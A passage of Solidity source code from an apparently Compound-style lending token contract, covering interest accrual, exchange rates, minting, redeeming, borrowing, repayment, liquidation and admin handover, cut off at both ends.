MathError.NO_ERROR) { return (mathErr, 0); } (mathErr, result) = divUInt(principalTimesIndex, borrowSnapshot.interestIndex); if (mathErr != MathError.NO_ERROR) { return (mathErr, 0); } return (MathError.NO_ERROR, result); } /** * @notice Accrue interest then return the up-to-date exchange rate * @return Calculated exchange rate scaled by 1e18 */ function exchangeRateCurrent() public override nonReentrant returns (uint) { require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed"); return exchangeRateStored(); } /** * @notice Calculates the exchange rate from the underlying to the CToken * @dev This function does not accrue interest before calculating the exchange rate * @return Calculated exchange rate scaled by 1e18 */ function exchangeRateStored() public override view returns (uint) { (MathError err, uint result) = exchangeRateStoredInternal(); require(err == MathError.NO_ERROR, "exchangeRateStored: exchangeRateStoredInternal failed"); return result; } /** * @notice Calculates the exchange rate from the underlying to the CToken * @dev This function does not accrue interest before calculating the exchange rate * @return (error code, calculated exchange rate scaled by 1e18) */ function exchangeRateStoredInternal() internal view returns (MathError, uint) { uint _totalSupply = totalSupply; if (_totalSupply == 0) { /* * If there are no tokens minted: * exchangeRate = initialExchangeRate */ return (MathError.NO_ERROR, initialExchangeRateMantissa); } else { /* * Otherwise: * exchangeRate = (totalCash + totalBorrows - totalReserves) / totalSupply */ uint totalCash = getCashPrior(); uint cashPlusBorrowsMinusReserves; Exp memory exchangeRate; MathError mathErr; (mathErr, cashPlusBorrowsMinusReserves) = addThenSubUInt(totalCash, totalBorrows, totalReserves); if (mathErr != MathError.NO_ERROR) { return (mathErr, 0); } (mathErr, exchangeRate) = getExp(cashPlusBorrowsMinusReserves, _totalSupply); if (mathErr != MathError.NO_ERROR) { return (mathErr, 0); } return (MathError.NO_ERROR, exchangeRate.mantissa); } } /** * @notice Get cash balance of this cToken in the underlying asset * @return The quantity of underlying asset owned by this contract */ function getCash() external override view returns (uint) { return getCashPrior(); } /** * @notice Applies accrued interest to total borrows and reserves * @dev This calculates interest accrued from the last checkpointed block * up to the current block and writes new checkpoint to storage. */ function accrueInterest() override public returns (uint) { /* Remember the initial block number */ uint currentBlockNumber = getBlockNumber(); uint accrualBlockNumberPrior = accrualBlockNumber; /* Short-circuit accumulating 0 interest */ if (accrualBlockNumberPrior == currentBlockNumber) { return uint(Error.NO_ERROR); } /* Read the previous values out of storage */ uint cashPrior = getCashPrior(); uint borrowsPrior = totalBorrows; uint reservesPrior = totalReserves; uint borrowIndexPrior = borrowIndex; /* Calculate the current borrow interest rate */ uint borrowRateMantissa = interestRateModel.getBorrowRate(cashPrior, borrowsPrior, reservesPrior); require(borrowRateMantissa <= borrowRateMaxMantissa, "borrow rate is absurdly high"); /* Calculate the number of blocks elapsed since the last accrual */ (MathError mathErr, uint blockDelta) = subUInt(currentBlockNumber, accrualBlockNumberPrior); require(mathErr == MathError.NO_ERROR, "could not calculate block delta"); /* * Calculate the interest accumulated into borrows and reserves and the new index: * simpleInterestFactor = borrowRate * blockDelta * interestAccumulated = simpleInterestFactor * totalBorrows * totalBorrowsNew = interestAccumulated + totalBorrows * totalReservesNew = interestAccumulated * reserveFactor + totalReserves * borrowIndexNew = simpleInterestFactor * borrowIndex + borrowIndex */ Exp memory simpleInterestFactor; uint interestAccumulated; uint totalBorrowsNew; uint totalReservesNew; uint borrowIndexNew; (mathErr, simpleInterestFactor) = mulScalar(Exp({mantissa: borrowRateMantissa}), blockDelta); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_SIMPLE_INTEREST_FACTOR_CALCULATION_FAILED, uint(mathErr)); } (mathErr, interestAccumulated) = mulScalarTruncate(simpleInterestFactor, borrowsPrior); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_ACCUMULATED_INTEREST_CALCULATION_FAILED, uint(mathErr)); } (mathErr, totalBorrowsNew) = addUInt(interestAccumulated, borrowsPrior); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_TOTAL_BORROWS_CALCULATION_FAILED, uint(mathErr)); } (mathErr, totalReservesNew) = mulScalarTruncateAddUInt(Exp({mantissa: reserveFactorMantissa}), interestAccumulated, reservesPrior); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_TOTAL_RESERVES_CALCULATION_FAILED, uint(mathErr)); } (mathErr, borrowIndexNew) = mulScalarTruncateAddUInt(simpleInterestFactor, borrowIndexPrior, borrowIndexPrior); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_BORROW_INDEX_CALCULATION_FAILED, uint(mathErr)); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* We write the previously calculated values into storage */ accrualBlockNumber = currentBlockNumber; borrowIndex = borrowIndexNew; totalBorrows = totalBorrowsNew; totalReserves = totalReservesNew; /* We emit an AccrueInterest event */ emit AccrueInterest(cashPrior, interestAccumulated, borrowIndexNew, totalBorrowsNew); return uint(Error.NO_ERROR); } /** * @notice Sender supplies assets into the market and receives cTokens in exchange * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param mintAmount The amount of the underlying asset to supply * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual mint amount. */ function mintInternal(uint mintAmount) internal nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return (fail(Error(error), FailureInfo.MINT_ACCRUE_INTEREST_FAILED), 0); } // mintFresh emits the actual Mint event if successful and logs on errors, so we don't need to return mintFresh(msg.sender, mintAmount); } struct MintLocalVars { Error err; MathError mathErr; uint exchangeRateMantissa; uint mintTokens; uint totalSupplyNew; uint accountTokensNew; uint actualMintAmount; } /** * @notice User supplies assets into the market and receives cTokens in exchange * @dev Assumes interest has already been accrued up to the current block * @param minter The address of the account which is supplying the assets * @param mintAmount The amount of the underlying asset to supply * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual mint amount. */ function mintFresh(address minter, uint mintAmount) internal returns (uint, uint) { /* Fail if mint not allowed */ uint allowed = comptroller.mintAllowed(address(this), minter, mintAmount); if (allowed != 0) { return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.MINT_COMPTROLLER_REJECTION, allowed), 0); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.MINT_FRESHNESS_CHECK), 0); } MintLocalVars memory vars; (vars.mathErr, vars.exchangeRateMantissa) = exchangeRateStoredInternal(); if (vars.mathErr != MathError.NO_ERROR) { return (failOpaque(Error.MATH_ERROR, FailureInfo.MINT_EXCHANGE_RATE_READ_FAILED, uint(vars.mathErr)), 0); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We call `doTransferIn` for the minter and the mintAmount. * Note: The cToken must handle variations between ERC-20 and ETH underlying. * `doTransferIn` reverts if anything goes wrong, since we can't be sure if * side-effects occurred. The function returns the amount actually transferred, * in case of a fee. On success, the cToken holds an additional `actualMintAmount` * of cash. */ vars.actualMintAmount = doTransferIn(minter, mintAmount); /* * We get the current exchange rate and calculate the number of cTokens to be minted: * mintTokens = actualMintAmount / exchangeRate */ (vars.mathErr, vars.mintTokens) = divScalarByExpTruncate(vars.actualMintAmount, Exp({mantissa: vars.exchangeRateMantissa})); require(vars.mathErr == MathError.NO_ERROR, "MINT_EXCHANGE_CALCULATION_FAILED"); /* * We calculate the new total supply of cTokens and minter token balance, checking for overflow: * totalSupplyNew = totalSupply + mintTokens * accountTokensNew = accountTokens[minter] + mintTokens */ (vars.mathErr, vars.totalSupplyNew) = addUInt(totalSupply, vars.mintTokens); require(vars.mathErr == MathError.NO_ERROR, "MINT_NEW_TOTAL_SUPPLY_CALCULATION_FAILED"); (vars.mathErr, vars.accountTokensNew) = addUInt(accountTokens[minter], vars.mintTokens); require(vars.mathErr == MathError.NO_ERROR, "MINT_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED"); /* We write previously calculated values into storage */ totalSupply = vars.totalSupplyNew; accountTokens[minter] = vars.accountTokensNew; /* We emit a Mint event, and a Transfer event */ emit Mint(minter, vars.actualMintAmount, vars.mintTokens); emit Transfer(address(this), minter, vars.mintTokens); /* We call the defense hook */ // unused function // comptroller.mintVerify(address(this), minter, vars.actualMintAmount, vars.mintTokens); return (uint(Error.NO_ERROR), vars.actualMintAmount); } /** * @notice Sender redeems cTokens in exchange for the underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemTokens The number of cTokens to redeem into underlying * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemInternal(uint redeemTokens) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED); } // redeemFresh emits redeem-specific logs on errors, so we don't need to return redeemFresh(msg.sender, redeemTokens, 0); } /** * @notice Sender redeems cTokens in exchange for a specified amount of underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemAmount The amount of underlying to receive from redeeming cTokens * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemUnderlyingInternal(uint redeemAmount) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED); } // redeemFresh emits redeem-specific logs on errors, so we don't need to return redeemFresh(msg.sender, 0, redeemAmount); } struct RedeemLocalVars { Error err; MathError mathErr; uint exchangeRateMantissa; uint redeemTokens; uint redeemAmount; uint totalSupplyNew; uint accountTokensNew; } /** * @notice User redeems cTokens in exchange for the underlying asset * @dev Assumes interest has already been accrued up to the current block * @param redeemer The address of the account which is redeeming the tokens * @param redeemTokensIn The number of cTokens to redeem into underlying (only one of redeemTokensIn or redeemAmountIn may be non-zero) * @param redeemAmountIn The number of underlying tokens to receive from redeeming cTokens (only one of redeemTokensIn or redeemAmountIn may be non-zero) * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemFresh(address payable redeemer, uint redeemTokensIn, uint redeemAmountIn) internal returns (uint) { require(redeemTokensIn == 0 || redeemAmountIn == 0, "one of redeemTokensIn or redeemAmountIn must be zero"); RedeemLocalVars memory vars; /* exchangeRate = invoke Exchange Rate Stored() */ (vars.mathErr, vars.exchangeRateMantissa) = exchangeRateStoredInternal(); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_RATE_READ_FAILED, uint(vars.mathErr)); } /* If redeemTokensIn > 0: */ if (redeemTokensIn > 0) { /* * We calculate the exchange rate and the amount of underlying to be redeemed: * redeemTokens = redeemTokensIn * redeemAmount = redeemTokensIn x exchangeRateCurrent */ vars.redeemTokens = redeemTokensIn; (vars.mathErr, vars.redeemAmount) = mulScalarTruncate(Exp({mantissa: vars.exchangeRateMantissa}), redeemTokensIn); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED, uint(vars.mathErr)); } } else { /* * We get the current exchange rate and calculate the amount to be redeemed: * redeemTokens = redeemAmountIn / exchangeRate * redeemAmount = redeemAmountIn */ (vars.mathErr, vars.redeemTokens) = divScalarByExpTruncate(redeemAmountIn, Exp({mantissa: vars.exchangeRateMantissa})); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_AMOUNT_CALCULATION_FAILED, uint(vars.mathErr)); } vars.redeemAmount = redeemAmountIn; } /* Fail if redeem not allowed */ uint allowed = comptroller.redeemAllowed(address(this), redeemer, vars.redeemTokens); if (allowed != 0) { return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.REDEEM_COMPTROLLER_REJECTION, allowed); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.REDEEM_FRESHNESS_CHECK); } /* * We calculate the new total supply and redeemer balance, checking for underflow: * totalSupplyNew = totalSupply - redeemTokens * accountTokensNew = accountTokens[redeemer] - redeemTokens */ (vars.mathErr, vars.totalSupplyNew) = subUInt(totalSupply, vars.redeemTokens); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED, uint(vars.mathErr)); } (vars.mathErr, vars.accountTokensNew) = subUInt(accountTokens[redeemer], vars.redeemTokens); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)); } /* Fail gracefully if protocol has insufficient cash */ if (getCashPrior() < vars.redeemAmount) { return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.REDEEM_TRANSFER_OUT_NOT_POSSIBLE); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* We write previously calculated values into storage */ totalSupply = vars.totalSupplyNew; accountTokens[redeemer] = vars.accountTokensNew; /* * We invoke doTransferOut for the redeemer and the redeemAmount. * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken has redeemAmount less of cash. * doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred. */ doTransferOut(redeemer, vars.redeemAmount); /* We emit a Transfer event, and a Redeem event */ emit Transfer(redeemer, address(this), vars.redeemTokens); emit Redeem(redeemer, vars.redeemAmount, vars.redeemTokens); /* We call the defense hook */ comptroller.redeemVerify(address(this), redeemer, vars.redeemAmount, vars.redeemTokens); return uint(Error.NO_ERROR); } /** * @notice Sender borrows assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrowInternal(uint borrowAmount) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return fail(Error(error), FailureInfo.BORROW_ACCRUE_INTEREST_FAILED); } // borrowFresh emits borrow-specific logs on errors, so we don't need to return borrowFresh(msg.sender, borrowAmount); } struct BorrowLocalVars { MathError mathErr; uint accountBorrows; uint accountBorrowsNew; uint totalBorrowsNew; } /** * @notice Users borrow assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrowFresh(address payable borrower, uint borrowAmount) internal returns (uint) { /* Fail if borrow not allowed */ uint allowed = comptroller.borrowAllowed(address(this), borrower, borrowAmount); if (allowed != 0) { return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.BORROW_COMPTROLLER_REJECTION, allowed); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.BORROW_FRESHNESS_CHECK); } /* Fail gracefully if protocol has insufficient underlying cash */ if (getCashPrior() < borrowAmount) { return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.BORROW_CASH_NOT_AVAILABLE); } BorrowLocalVars memory vars; /* * We calculate the new borrower and total borrow balances, failing on overflow: * accountBorrowsNew = accountBorrows + borrowAmount * totalBorrowsNew = totalBorrows + borrowAmount */ (vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(borrower); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)); } (vars.mathErr, vars.accountBorrowsNew) = addUInt(vars.accountBorrows, borrowAmount); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)); } (vars.mathErr, vars.totalBorrowsNew) = addUInt(totalBorrows, borrowAmount); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* We write the previously calculated values into storage */ accountBorrows[borrower].principal = vars.accountBorrowsNew; accountBorrows[borrower].interestIndex = borrowIndex; totalBorrows = vars.totalBorrowsNew; /* * We invoke doTransferOut for the borrower and the borrowAmount. * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken borrowAmount less of cash. * doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred. */ doTransferOut(borrower, borrowAmount); /* We emit a Borrow event */ emit Borrow(borrower, borrowAmount, vars.accountBorrowsNew, vars.totalBorrowsNew); /* We call the defense hook */ // unused function // comptroller.borrowVerify(address(this), borrower, borrowAmount); return uint(Error.NO_ERROR); } /** * @notice Sender repays their own borrow * @param repayAmount The amount to repay * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function repayBorrowInternal(uint repayAmount) internal nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return (fail(Error(error), FailureInfo.REPAY_BORROW_ACCRUE_INTEREST_FAILED), 0); } // repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to return repayBorrowFresh(msg.sender, msg.sender, repayAmount); } /** * @notice Sender repays a borrow belonging to borrower * @param borrower the account with the debt being payed off * @param repayAmount The amount to repay * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function repayBorrowBehalfInternal(address borrower, uint repayAmount) internal nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return (fail(Error(error), FailureInfo.REPAY_BEHALF_ACCRUE_INTEREST_FAILED), 0); } // repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to return repayBorrowFresh(msg.sender, borrower, repayAmount); } struct RepayBorrowLocalVars { Error err; MathError mathErr; uint repayAmount; uint borrowerIndex; uint accountBorrows; uint accountBorrowsNew; uint totalBorrowsNew; uint actualRepayAmount; } /** * @notice Borrows are repaid by another user (possibly the borrower). * @param payer the account paying off the borrow * @param borrower the account with the debt being payed off * @param repayAmount the amount of undelrying tokens being returned * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function repayBorrowFresh(address payer, address borrower, uint repayAmount) internal returns (uint, uint) { /* Fail if repayBorrow not allowed */ uint allowed = comptroller.repayBorrowAllowed(address(this), payer, borrower, repayAmount); if (allowed != 0) { return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.REPAY_BORROW_COMPTROLLER_REJECTION, allowed), 0); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.REPAY_BORROW_FRESHNESS_CHECK), 0); } RepayBorrowLocalVars memory vars; /* We remember the original borrowerIndex for verification purposes */ vars.borrowerIndex = accountBorrows[borrower].interestIndex; /* We fetch the amount the borrower owes, with accumulated interest */ (vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(borrower); if (vars.mathErr != MathError.NO_ERROR) { return (failOpaque(Error.MATH_ERROR, FailureInfo.REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)), 0); } /* If repayAmount == -1, repayAmount = accountBorrows */ if (repayAmount == uint(-1)) { vars.repayAmount = vars.accountBorrows; } else { vars.repayAmount = repayAmount; } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We call doTransferIn for the payer and the repayAmount * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken holds an additional repayAmount of cash. * doTransferIn reverts if anything goes wrong, since we can't be sure if side effects occurred. * it returns the amount actually transferred, in case of a fee. */ vars.actualRepayAmount = doTransferIn(payer, vars.repayAmount); /* * We calculate the new borrower and total borrow balances, failing on underflow: * accountBorrowsNew = accountBorrows - actualRepayAmount * totalBorrowsNew = totalBorrows - actualRepayAmount */ (vars.mathErr, vars.accountBorrowsNew) = subUInt(vars.accountBorrows, vars.actualRepayAmount); require(vars.mathErr == MathError.NO_ERROR, "REPAY_BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED"); (vars.mathErr, vars.totalBorrowsNew) = subUInt(totalBorrows, vars.actualRepayAmount); require(vars.mathErr == MathError.NO_ERROR, "REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED"); /* We write the previously calculated values into storage */ accountBorrows[borrower].principal = vars.accountBorrowsNew; accountBorrows[borrower].interestIndex = borrowIndex; totalBorrows = vars.totalBorrowsNew; /* We emit a RepayBorrow event */ emit RepayBorrow(payer, borrower, vars.actualRepayAmount, vars.accountBorrowsNew, vars.totalBorrowsNew); /* We call the defense hook */ // unused function // comptroller.repayBorrowVerify(address(this), payer, borrower, vars.actualRepayAmount, vars.borrowerIndex); return (uint(Error.NO_ERROR), vars.actualRepayAmount); } /** * @notice The sender liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @param borrower The borrower of this cToken to be liquidated * @param cTokenCollateral The market in which to seize collateral from the borrower * @param repayAmount The amount of the underlying borrowed asset to repay * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function liquidateBorrowInternal(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) internal nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED), 0); } error = cTokenCollateral.accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED), 0); } // liquidateBorrowFresh emits borrow-specific logs on errors, so we don't need to return liquidateBorrowFresh(msg.sender, borrower, repayAmount, cTokenCollateral); } /** * @notice The liquidator liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @param borrower The borrower of this cToken to be liquidated * @param liquidator The address repaying the borrow and seizing collateral * @param cTokenCollateral The market in which to seize collateral from the borrower * @param repayAmount The amount of the underlying borrowed asset to repay * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function liquidateBorrowFresh(address liquidator, address borrower, uint repayAmount, CTokenInterface cTokenCollateral) internal returns (uint, uint) { /* Fail if liquidate not allowed */ uint allowed = comptroller.liquidateBorrowAllowed(address(this), address(cTokenCollateral), liquidator, borrower, repayAmount); if (allowed != 0) { return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.LIQUIDATE_COMPTROLLER_REJECTION, allowed), 0); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_FRESHNESS_CHECK), 0); } /* Verify cTokenCollateral market's block number equals current block number */ if (cTokenCollateral.accrualBlockNumber() != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_COLLATERAL_FRESHNESS_CHECK), 0); } /* Fail if borrower = liquidator */ if (borrower == liquidator) { return (fail(Error.INVALID_ACCOUNT_PAIR, FailureInfo.LIQUIDATE_LIQUIDATOR_IS_BORROWER), 0); } /* Fail if repayAmount = 0 */ if (repayAmount == 0) { return (fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_ZERO), 0); } /* Fail if repayAmount = -1 */ if (repayAmount == uint(-1)) { return (fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX), 0); } /* Fail if repayBorrow fails */ (uint repayBorrowError, uint actualRepayAmount) = repayBorrowFresh(liquidator, borrower, repayAmount); if (repayBorrowError != uint(Error.NO_ERROR)) { return (fail(Error(repayBorrowError), FailureInfo.LIQUIDATE_REPAY_BORROW_FRESH_FAILED), 0); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* We calculate the number of collateral tokens that will be seized */ (uint amountSeizeError, uint seizeTokens) = comptroller.liquidateCalculateSeizeTokens(address(this), address(cTokenCollateral), actualRepayAmount); require(amountSeizeError == uint(Error.NO_ERROR), "LIQUIDATE_COMPTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED"); /* Revert if borrower collateral token balance < seizeTokens */ require(cTokenCollateral.balanceOf(borrower) >= seizeTokens, "LIQUIDATE_SEIZE_TOO_MUCH"); // If this is also the collateral, run seizeInternal to avoid re-entrancy, otherwise make an external call uint seizeError; if (address(cTokenCollateral) == address(this)) { seizeError = seizeInternal(address(this), liquidator, borrower, seizeTokens); } else { seizeError = cTokenCollateral.seize(liquidator, borrower, seizeTokens); } /* Revert if seize tokens fails (since we cannot be sure of side effects) */ require(seizeError == uint(Error.NO_ERROR), "token seizure failed"); /* We emit a LiquidateBorrow event */ emit LiquidateBorrow(liquidator, borrower, actualRepayAmount, address(cTokenCollateral), seizeTokens); /* We call the defense hook */ // unused function // comptroller.liquidateBorrowVerify(address(this), address(cTokenCollateral), liquidator, borrower, actualRepayAmount, seizeTokens); return (uint(Error.NO_ERROR), actualRepayAmount); } /** * @notice Transfers collateral tokens (this market) to the liquidator. * @dev Will fail unless called by another cToken during the process of liquidation. * Its absolutely critical to use msg.sender as the borrowed cToken and not a parameter. * @param liquidator The account receiving seized collateral * @param borrower The account having collateral seized * @param seizeTokens The number of cTokens to seize * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function seize(address liquidator, address borrower, uint seizeTokens) external override nonReentrant returns (uint) { return seizeInternal(msg.sender, liquidator, borrower, seizeTokens); } /** * @notice Transfers collateral tokens (this market) to the liquidator. * @dev Called only during an in-kind liquidation, or by liquidateBorrow during the liquidation of another CToken. * Its absolutely critical to use msg.sender as the seizer cToken and not a parameter. * @param seizerToken The contract seizing the collateral (i.e. borrowed cToken) * @param liquidator The account receiving seized collateral * @param borrower The account having collateral seized * @param seizeTokens The number of cTokens to seize * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function seizeInternal(address seizerToken, address liquidator, address borrower, uint seizeTokens) internal returns (uint) { /* Fail if seize not allowed */ uint allowed = comptroller.seizeAllowed(address(this), seizerToken, liquidator, borrower, seizeTokens); if (allowed != 0) { return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.LIQUIDATE_SEIZE_COMPTROLLER_REJECTION, allowed); } /* Fail if borrower = liquidator */ if (borrower == liquidator) { return fail(Error.INVALID_ACCOUNT_PAIR, FailureInfo.LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER); } MathError mathErr; uint borrowerTokensNew; uint liquidatorTokensNew; /* * We calculate the new borrower and liquidator token balances, failing on underflow/overflow: * borrowerTokensNew = accountTokens[borrower] - seizeTokens * liquidatorTokensNew = accountTokens[liquidator] + seizeTokens */ (mathErr, borrowerTokensNew) = subUInt(accountTokens[borrower], seizeTokens); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.LIQUIDATE_SEIZE_BALANCE_DECREMENT_FAILED, uint(mathErr)); } (mathErr, liquidatorTokensNew) = addUInt(accountTokens[liquidator], seizeTokens); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.LIQUIDATE_SEIZE_BALANCE_INCREMENT_FAILED, uint(mathErr)); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* We write the previously calculated values into storage */ accountTokens[borrower] = borrowerTokensNew; accountTokens[liquidator] = liquidatorTokensNew; /* Emit a Transfer event */ emit Transfer(borrower, liquidator, seizeTokens); /* We call the defense hook */ // unused function // comptroller.seizeVerify(address(this), seizerToken, liquidator, borrower, seizeTokens); return uint(Error.NO_ERROR); } /*** Admin Functions ***/ /** * @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @param newPendingAdmin New pending admin. * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setPendingAdmin(address payable newPendingAdmin) external override returns (uint) { // Check caller = admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK); } // Save current value, if any, for inclusion in log address oldPendingAdmin = pendingAdmin; // Store pendingAdmin with value newPendingAdmin pendingAdmin = newPendingAdmin; // Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin) emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin); return uint(Error.NO_ERROR); } /** * @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin * @dev Admin function for pending admin to accept role and update admin * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptAdmin() external override returns (uint) { // Check caller is pendingAdmin and pendingAdmin ≠ address(0) if (msg.sender != pendingAdmin || msg.sender == address(0)) { return 